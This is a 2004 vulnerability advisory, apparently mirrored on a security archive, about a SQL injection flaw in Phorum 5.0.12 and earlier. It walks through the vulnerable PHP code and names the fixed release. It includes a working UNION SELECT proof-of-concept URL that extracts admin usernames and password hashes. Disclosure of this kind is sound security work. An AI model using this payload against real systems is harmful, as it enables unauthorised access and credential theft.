what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA037.txt

waraxe-2004-SA037.txt
Posted Nov 12, 2004
Authored by Janek Vind aka waraxe | Site waraxe.us

A SQL injection bug exists in Phorum versions 5.0.12 and below. Exploitation example given.

tags | exploit, sql injection
SHA-256 | 273145d61ee5d47316156922e22a25efedd2e1f51e7919932c33fb24ac3b2ffe

waraxe-2004-SA037.txt

Change Mirror Download


{================================================================================}
{ [waraxe-2004-SA#037]
}
{================================================================================}
{
}
{ [ Sql injection bug in Phorum 5.0.12 and
older versions ] }
{
}
{================================================================================}



Author: Janek Vind "waraxe"
Date: 11. November 2004
Location: Estonia, Tartu
Web: https://www.waraxe.us/index.php?modname=sa&id=37


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum is a web based message board written in PHP.
Phorum is designed with
high-availability and visitor ease of use in mind.
Features such as mailing
list integration, easy customization and simple
installation make Phorum
a powerful add-in to any website.

Homepage: https://phorum.org/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sql injection bug, discussed here, is present in all
Phorum 5.0.x versions,
up to and including 5.0.12 . It is fixed in new Phorum
version - 5.0.13 .
First of all - user must be logged in to successful
exploit.
Well, let's start with looking @ source code of the
"follow.php", line 37:

---------------[ original code ]--------------------

if(isset($PHORUM["args"][1])){
$thread=$PHORUM["args"][1];
} elseif(isset($_POST["thread"])){
$thread=$_POST["thread"];
}

if(empty($thread)) {

phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL));
exit();
}

$message=phorum_db_get_message($thread);

---------------[/original code ]---------------------

So unsanitaized user-submitted variable from POST
request will be delivered
to function "phorum_db_get_message($thread)". Even
more, "if/elseif" construction
here is WITHOUT ending "else"... So if
'$PHORUM["args"][1]' is not set and
'$_POST["thread"]' is also not set, then variable
"$thread" can be victim of the
poisoning through $_GET or $_COOKIE arrays.
Now, let's trace execution flow further -
"include/db/mysql.php", line 642:


---------------[ original code ]--------------------

function phorum_db_get_message($message_id){
$PHORUM = $GLOBALS["PHORUM"];

$conn = phorum_db_mysql_connect();

$forum_id_check = "";
if (!empty($PHORUM["forum_id"])){
$forum_id_check = "(forum_id =
{$PHORUM['forum_id']} OR forum_id=0) and";
}

$sql = "select {$PHORUM['message_table']}.* from
{$PHORUM['message_table']} where $forum_id_check
message_id=$message_id";

$res = mysql_query($sql, $conn);

if ($err = mysql_error())
phorum_db_mysql_error("$err: $sql");

---------------[/original code ]---------------------

And we can see problematic sql query: "...
$forum_id_check message_id=$message_id";
No quotes, so sql injection must be exist. Let's try
to provoke some error messages.
We issue GET request like this:

https://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe

... and there is nice error popping up:

"Unknown column 'waraxe' in 'where clause': select
phorum_messages.* from phorum_messages where
(forum_id = 1 OR forum_id=0) and message_id=waraxe"
Same error message appears with using another method:

https://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe

Further exploiting depends on mysql server version. If
it's 4.x and supports
UNION functionality, then arbitrary information from
database can be retrieved by any
currently logged in user, including unprivileged one.
Proof of concept:

----------------[ real life exploit ]---------------

https://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1

----------------[/real life exploit ]---------------

... and you can see admin's uername and password's md5
hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vendor contacted: 10. November 2004
Vendor response: 10. November 2004

New Phorum version 5.0.13 is available at
https://phorum.org/downloads.php
and has many security improvements, including fix
against this sql injection bug.

For discussion, help requests, etc -
https://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: https://www.waraxe.us/

---------------------------------- [ EOF ]
------------------------------------




__________________________________
Do you Yahoo!?
Check out the new Yahoo! Front Page.
www.yahoo.com


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close